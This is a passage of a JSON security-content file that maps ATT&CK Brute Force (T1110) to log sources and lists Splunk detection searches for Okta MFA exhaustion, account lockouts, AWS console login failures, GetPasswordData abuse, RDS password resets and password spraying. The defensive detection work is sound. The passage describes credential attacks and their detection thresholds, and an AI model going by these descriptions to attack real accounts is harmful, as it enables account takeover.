environment. It has login capabilities and can be authenticated by an operating system, application or platform.", - "collection_layers": [ - "host", - "cloud", - "container" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "IaaS", - "SaaS", - "Office 365", - "Azure AD", - "Containers", - "Google Workspace" - ], - "contributors": [ - "ATT&CK", - "CTID" - ], - "data_component": "user account authentication", - "type": "activity", - "description": "A user account authenticated onto a system.", - "source_data_element": "user", - "relationship": "attempted to authenticate from", - "target_data_element": "ip", - "references": [ - "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-principals" - ] - }, - { - "technique_id": "T1110", - "technique": "Brute Force", - "tactic": [ - "credential-access" - ], - "platform": [ - "Windows", - "Azure AD", - "Office 365", - "SaaS", - "IaaS", - "Linux", - "macOS", - "Google Workspace", - "Containers" - ], - "data_source": "user account", - "definition": "The representation of a user, device, service or application that access resources within a network environment. It has login capabilities and can be authenticated by an operating system, application or platform.", - "collection_layers": [ - "host", - "cloud", - "container" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "IaaS", - "SaaS", - "Office 365", - "Azure AD", - "Containers", - "Google Workspace" - ], - "contributors": [ - "ATT&CK", - "CTID" - ], - "data_component": "user account authentication", - "type": "activity", - "description": "A user account authenticated onto a system.", - "source_data_element": "user", - "relationship": "attempted to authenticate from", - "target_data_element": "port", - "references": [ - "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-principals" - ] - }, - { - "technique_id": "T1110", - "technique": "Brute Force", - "tactic": [ - "credential-access" - ], - "platform": [ - "Windows", - "Azure AD", - "Office 365", - "SaaS", - "IaaS", - "Linux", - "macOS", - "Google Workspace", - "Containers" - ], - "data_source": "user account", - "definition": "The representation of a user, device, service or application that access resources within a network environment. It has login capabilities and can be authenticated by an operating system, application or platform.", - "collection_layers": [ - "host", - "cloud", - "container" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "IaaS", - "SaaS", - "Office 365", - "Azure AD", - "Containers", - "Google Workspace" - ], - "contributors": [ - "ATT&CK", - "CTID" - ], - "data_component": "user account authentication", - "type": "activity", - "description": "A user account authenticated onto a system.", - "source_data_element": "application", - "relationship": "attempted to authenticate", - "target_data_element": "user", - "references": [ - "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-principals" - ] - }, - { - "technique_id": "T1110", - "technique": "Brute Force", - "tactic": [ - "credential-access" - ], - "platform": [ - "Windows", - "Azure AD", - "Office 365", - "SaaS", - "IaaS", - "Linux", - "macOS", - "Google Workspace", - "Containers" - ], - "data_source": "user account", - "definition": "The representation of a user, device, service or application that access resources within a network environment. It has login capabilities and can be authenticated by an operating system, application or platform.", - "collection_layers": [ - "host", - "cloud", - "container" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "IaaS", - "SaaS", - "Office 365", - "Azure AD", - "Containers", - "Google Workspace" - ], - "contributors": [ - "ATT&CK", - "CTID" - ], - "data_component": "user account authentication", - "type": "activity", - "description": "A user account authenticated onto a system.", - "source_data_element": "cloud service", - "relationship": "attempted to authenticate", - "target_data_element": "user", - "references": [ - "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-principals" - ] - }, - { - "technique_id": "T1110", - "technique": "Brute Force", - "tactic": [ - "credential-access" - ], - "platform": [ - "Windows", - "Azure AD", - "Office 365", - "SaaS", - "IaaS", - "Linux", - "macOS", - "Google Workspace", - "Containers" - ], - "data_source": "application log", - "definition": "Logs from events in third-party applications (mail server, web applications, etc.).", - "collection_layers": [ - "host", - "cloud" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "IaaS", - "SaaS", - "Office 365", - "Google Workspace" - ], - "contributors": [ - "ATT&CK" - ], - "data_component": "application log content", - "type": "information", - "description": "Data captured in an application log.", - "source_data_element": "application log", - "relationship": "contained", - "target_data_element": "application event entries", - "references": [ - "https://confluence.atlassian.com/doc/working-with-confluence-logs-108364721.html" - ] - }, - [ - { - "Event ID": "4624", - "Event Name": "Authentication logs" - } - ], - [ - { - "Event ID": "4624", - "Event Name": "Authentication logs" - } - ], - { - "name": "Okta MFA Exhaustion Hunt", - "description": "The following analytic detects patterns of successful and failed Okta MFA push attempts to identify potential MFA exhaustion attacks. It leverages Okta event logs, specifically focusing on push verification events, and uses statistical evaluations to determine suspicious activity. This activity is significant as it may indicate an attacker attempting to bypass MFA by overwhelming the user with push notifications. If confirmed malicious, this could lead to unauthorized access, compromising the security of the affected accounts and potentially the entire environment.", - "search": "`okta` eventType=system.push.send_factor_verify_push OR ((legacyEventType=core.user.factor.attempt_success) AND (debugContext.debugData.factor=OKTA_VERIFY_PUSH)) OR ((legacyEventType=core.user.factor.attempt_fail) AND (debugContext.debugData.factor=OKTA_VERIFY_PUSH)) | stats count(eval(legacyEventType=\"core.user.factor.attempt_success\")) as successes count(eval(legacyEventType=\"core.user.factor.attempt_fail\")) as failures count(eval(eventType=\"system.push.send_factor_verify_push\")) as pushes by user,_time | stats latest(_time) as lasttime earliest(_time) as firsttime sum(successes) as successes sum(failures) as failures sum(pushes) as pushes by user | eval seconds=lasttime-firsttime | eval lasttime=strftime(lasttime, \"%c\") | search (pushes>1) | eval totalattempts=successes+failures | eval finding=\"Normal authentication pattern\" | eval finding=if(failures==pushes AND pushes>1,\"Authentication attempts not successful because multiple pushes denied\",finding) | eval finding=if(totalattempts==0,\"Multiple pushes sent and ignored\",finding) | eval finding=if(successes>0 AND pushes>3,\"Probably should investigate. Multiple pushes sent, eventual successful authentication!\",finding) | `okta_mfa_exhaustion_hunt_filter`", - "tags": { - "analytic_story": [ - "Okta Account Takeover", - "Okta MFA Exhaustion" - ], - "asset_type": "Okta Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "$user$ account has rejected multiple Okta pushes.", - "risk_score": 18, - "security_domain": "access", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - } - ] - } - }, - { - "name": "Okta Multiple Accounts Locked Out", - "description": "The following analytic detects multiple Okta accounts being locked out within a short period. It uses the user.account.lock event from Okta logs, aggregated over a 5-minute window, to identify this behavior. This activity is significant as it may indicate a brute force or password spraying attack, where an adversary attempts to guess passwords, leading to account lockouts. If confirmed malicious, this could result in potential account takeovers or unauthorized access to sensitive Okta accounts, posing a significant security risk.", - "search": "| tstats `security_content_summariesonly` count max(_time) as lastTime, min(_time) as firstTime values(All_Changes.user) as user from datamodel=Change where All_Changes.change_type=AAA All_Changes.object_category=User AND All_Changes.action=lockout AND All_Changes.command=user.account.lock by _time span=5m All_Changes.result All_Changes.command sourcetype All_Changes.src | where count > 5 | `drop_dm_object_name(\"All_Changes\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `okta_multiple_accounts_locked_out_filter`", - "tags": { - "analytic_story": [ - "Okta Account Takeover" - ], - "asset_type": "Okta Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Multiple accounts locked out in Okta from [$src$]. Investigate further to determine if this was authorized.", - "risk_score": 49, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - } - ] - } - }, - { - "name": "Okta Risk Threshold Exceeded", - "description": "The following correlation identifies when a user exceeds a risk threshold based on multiple suspicious Okta activities. It leverages the Risk Framework from Enterprise Security, aggregating risk events from \"Suspicious Okta Activity,\" \"Okta Account Takeover,\" and \"Okta MFA Exhaustion\" analytic stories. This detection is significant as it highlights potentially compromised user accounts exhibiting multiple tactics, techniques, and procedures (TTPs) within a 24-hour period. If confirmed malicious, this activity could indicate a serious security breach, allowing attackers to gain unauthorized access, escalate privileges, or persist within the environment.", - "search": "| tstats `security_content_summariesonly` values(All_Risk.analyticstories) as analyticstories sum(All_Risk.calculated_risk_score) as risk_score, count(All_Risk.calculated_risk_score) as risk_event_count,values(All_Risk.annotations.mitre_attack.mitre_tactic_id) as annotations.mitre_attack.mitre_tactic_id, dc(All_Risk.annotations.mitre_attack.mitre_tactic_id) as mitre_tactic_id_count, values(All_Risk.annotations.mitre_attack.mitre_technique_id) as annotations.mitre_attack.mitre_technique_id, dc(All_Risk.annotations.mitre_attack.mitre_technique_id) as mitre_technique_id_count, values(All_Risk.tag) as tag, values(source) as source, dc(source) as source_count from datamodel=Risk.All_Risk where All_Risk.risk_object_type = user All_Risk.analyticstories IN (\"Okta Account Takeover\", \"Suspicious Okta Activity\",\"Okta MFA Exhaustion\") by All_Risk.risk_object,All_Risk.risk_object_type | `drop_dm_object_name(\"All_Risk\")` | search mitre_technique_id_count > 5 | `okta_risk_threshold_exceeded_filter`", - "tags": { - "analytic_story": [ - "Okta Account Takeover", - "Okta MFA Exhaustion", - "Suspicious Okta Activity" - ], - "asset_type": "Okta Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "risk_object", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Okta Risk threshold exceeded for user [$risk_object$]. Investigate further to determine if this was authorized.", - "risk_score": 56, - "security_domain": "access", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - } - ] - } - }, - { - "name": "PingID Multiple Failed MFA Requests For User", - "description": "The following analytic identifies multiple failed multi-factor authentication (MFA) requests for a single user within a PingID environment. It triggers when 10 or more MFA prompts fail within 10 minutes, using JSON logs from PingID. This activity is significant as it may indicate an adversary attempting to bypass MFA by bombarding the user with repeated authentication requests. If confirmed malicious, this could lead to unauthorized access, as the user might eventually accept the fraudulent request, compromising the security of the account and potentially the entire network.", - "search": "`pingid` \"result.status\" IN (\"FAILURE,authFail\",\"UNSUCCESSFUL_ATTEMPT\") | eval time = _time, src = coalesce('resources{}.ipaddress','resources{}.devicemodel'), user = upper('actors{}.name'), object = 'resources{}.devicemodel', reason = 'result.message'| bucket span=10m _time | stats dc(_raw) AS mfa_prompts min(time) as firstTime, max(time) as lastTime values(src) as src by user, reason, _time | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | where mfa_prompts >= 10 | `pingid_multiple_failed_mfa_requests_for_user_filter`", - "tags": { - "analytic_story": [ - "Compromised User Account" - ], - "asset_type": "Identity", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Multiple Failed MFA requests $mfa_prompts$ for user $user$ between $firstTime$ and $lastTime$.", - "risk_score": 50, - "security_domain": "access", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - } - ] - } - }, - { - "name": "AWS Credential Access Failed Login", - "description": "The following analytic identifies unsuccessful login attempts to the AWS Management Console using a specific user identity. It leverages AWS CloudTrail logs to detect failed authentication events associated with the AWS ConsoleLogin action. This activity is significant for a SOC because repeated failed login attempts may indicate a brute force attack or unauthorized access attempts. If confirmed malicious, an attacker could potentially gain access to AWS account services and resources, leading to data breaches, resource manipulation, or further exploitation within the AWS environment.", - "search": "| tstats count earliest(_time) as firstTime, latest(_time) as lastTime from datamodel=Authentication where Authentication.action = failure Authentication.app=AwsConsoleSignIn Authentication.signature=ConsoleLogin BY Authentication.app Authentication.signature Authentication.dest Authentication.user Authentication.action Authentication.user_id Authentication.src | `drop_dm_object_name(Authentication)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `aws_credential_access_failed_login_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ has a login failure from IP $src$", - "risk_score": 49, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.001", - "mitre_attack_technique": "Password Guessing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29" - ] - } - ] - } - }, - { - "name": "AWS Credential Access GetPasswordData", - "description": "The following analytic identifies more than 10 GetPasswordData API calls within a 5-minute window in your AWS account. It leverages AWS CloudTrail logs to detect this activity by counting the distinct instance IDs accessed. This behavior is significant as it may indicate an attempt to retrieve encrypted administrator passwords for running Windows instances, which is a critical security concern. If confirmed malicious, attackers could gain unauthorized access to administrative credentials, potentially leading to full control over the affected instances and further compromise of the AWS environment.", - "search": "`cloudtrail` eventName=GetPasswordData eventSource = ec2.amazonaws.com | bin _time span=5m | stats count values(errorCode) as errorCode dc(requestParameters.instanceId) as distinct_instance_ids values(requestParameters.instanceId) as instance_ids by aws_account_id src_ip user_arn userAgent eventName _time | where distinct_instance_ids > 10 | `aws_credential_access_getpassworddata_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user_arn", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user_arn$ is seen to make mulitple `GetPasswordData` API calls to instance ids $instance_ids$ from IP $src_ip$", - "risk_score": 49, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.001", - "mitre_attack_technique": "Password Guessing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29" - ] - } - ] - } - }, - { - "name": "AWS Credential Access RDS Password reset", - "description": "The following analytic detects the resetting of the master user password for an Amazon RDS DB instance. It leverages AWS CloudTrail logs to identify events where the `ModifyDBInstance` API call includes a new `masterUserPassword` parameter. This activity is significant because unauthorized password resets can grant attackers access to sensitive data stored in production databases, such as credit card information, PII, and healthcare data. If confirmed malicious, this could lead to data breaches, regulatory non-compliance, and significant reputational damage. Immediate investigation is required to determine the legitimacy of the password reset.", - "search": "`cloudtrail` eventSource=\"rds.amazonaws.com\" eventName=ModifyDBInstance \"requestParameters.masterUserPassword\"=* | stats count min(_time) as firstTime max(_time) as lastTime values(requestParameters.dBInstanceIdentifier) as database_id by src awsRegion eventName userAgent user_arn| `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `aws_credential_access_rds_password_reset_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "database_id", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "$database_id$ password has been reset from IP $src$", - "risk_score": 49, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - } - ] - } - }, - { - "name": "AWS High Number Of Failed Authentications From Ip", - "description": "The following analytic detects an IP address with 20 or more failed authentication attempts to the AWS Web Console within a 5-minute window. This detection leverages CloudTrail logs, aggregating failed login events by IP address and time span. This activity is significant as it may indicate a brute force attack aimed at gaining unauthorized access or escalating privileges within an AWS environment. If confirmed malicious, this could lead to unauthorized access, data breaches, or further exploitation of AWS resources.", - "search": "`cloudtrail` eventName=ConsoleLogin action=failure | bucket span=5m _time | stats dc(_raw) AS failed_attempts values(user_name) as tried_accounts values(user_agent) by _time, src_ip, eventName, eventSource aws_account_id | where failed_attempts > 20 | `aws_high_number_of_failed_authentications_from_ip_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover", - "Compromised User Account" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "tried_accounts", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Multiple failed console login attempts (Count: $failed_attempts$) against users from IP Address - $src_ip$", - "risk_score": 54, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110.004", - "mitre_attack_technique": "Credential Stuffing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Chimera" - ] - } - ] - } - }, - { - "name": "AWS IAM Assume Role Policy Brute Force", - "description": "The following analytic detects multiple failed attempts to assume an AWS IAM role, indicating a potential brute force attack. It leverages AWS CloudTrail logs to identify `MalformedPolicyDocumentException` errors with a status of `failure` and filters out legitimate AWS services. This activity is significant as repeated failures to assume roles can indicate an adversary attempting to guess role names, which is a precursor to unauthorized access. If confirmed malicious, this could lead to unauthorized access to AWS resources, potentially compromising sensitive data and services.", - "search": "`cloudtrail` (errorCode=MalformedPolicyDocumentException) status=failure (userAgent!=*.amazonaws.com) | stats count min(_time) as firstTime max(_time) as lastTime values(requestParameters.policyName) as policy_name by src eventName eventSource aws_account_id errorCode requestParameters.policyDocument userAgent eventID awsRegion userIdentity.principalId user_arn | where count >= 2 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `aws_iam_assume_role_policy_brute_force_filter`", - "tags": { - "analytic_story": [ - "AWS IAM Privilege Escalation" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user_arn", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user_arn$ has caused multiple failures with errorCode $errorCode$, which potentially means adversary is attempting to identify a role name.", - "risk_score": 28, - "security_domain": "access", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1580", - "mitre_attack_technique": "Cloud Infrastructure Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Scattered Spider" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - } - ] - } - }, - { - "name": "AWS Multiple Users Failing To Authenticate From Ip", - "description": "The following analytic identifies a single source IP failing to authenticate into the AWS Console with 30 unique valid users within 10 minutes. It leverages CloudTrail logs to detect multiple failed login attempts from the same IP address. This behavior is significant as it may indicate a Password Spraying attack, where an adversary attempts to gain unauthorized access or elevate privileges by trying common passwords across many accounts. If confirmed malicious, this activity could lead to unauthorized access, data breaches, or further exploitation within the AWS environment.", - "search": "`cloudtrail` eventName=ConsoleLogin action=failure | bucket span=10m _time | stats dc(user_name) AS unique_accounts values(user_name) as tried_accounts by _time, src_ip | `aws_multiple_users_failing_to_authenticate_from_ip_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover", - "Compromised User Account" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "tried_accounts", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Multiple failed console login attempts (Count: $unique_accounts$) against users from IP Address - $src_ip$", - "risk_score": 54, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110.004", - "mitre_attack_technique": "Credential Stuffing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Chimera" - ] - } - ] - } - }, - { - "name": "AWS Unusual Number of Failed Authentications From Ip", - "description": "The following analytic identifies a single source IP failing to authenticate into the AWS Console with multiple valid users. It uses CloudTrail logs and calculates the standard deviation for source IP, leveraging the 3-sigma rule to detect unusual numbers of failed authentication attempts. This behavior is significant as it may indicate a Password Spraying attack, where an adversary attempts to gain initial access or elevate privileges. If confirmed malicious, this activity could lead to unauthorized access, data breaches, or further exploitation within the AWS environment.", - "search": "`cloudtrail` eventName=ConsoleLogin action=failure | bucket span=10m _time | stats dc(_raw) AS distinct_attempts values(user_name) as tried_accounts by _time, src_ip | eventstats avg(distinct_attempts) as avg_attempts , stdev(distinct_attempts) as ip_std by _time | eval upperBound=(avg_attempts+ip_std*3) | eval isOutlier=if(distinct_attempts > 10 and distinct_attempts >= upperBound, 1, 0) | where isOutlier = 1 |`aws_unusual_number_of_failed_authentications_from_ip_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "tried_accounts", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Unusual number of failed console login attempts (Count: $distinct_attempts$) against users from IP Address - $src_ip$", - "risk_score": 54, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110.004", - "mitre_attack_technique": "Credential Stuffing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Chimera" - ] - } - ] - } - }, - { - "name": "Azure Active Directory High Risk Sign-in", - "description": "The following analytic detects high-risk sign-in attempts against Azure Active Directory, identified by Azure Identity Protection. It leverages the RiskyUsers and UserRiskEvents log categories from Azure AD events ingested via EventHub. This activity is significant as it indicates potentially compromised accounts, flagged by heuristics and machine learning. If confirmed malicious, attackers could gain unauthorized access to sensitive resources, leading to data breaches or further exploitation within the environment.", - "search": " `azure_monitor_aad` category=UserRiskEvents properties.riskLevel=high | rename properties.* as * | stats count min(_time) as firstTime max(_time) as lastTime values(user) as user by src_ip, activity, riskLevel, riskEventType, additionalInfo | `security_content_ctime(firstTime)` | 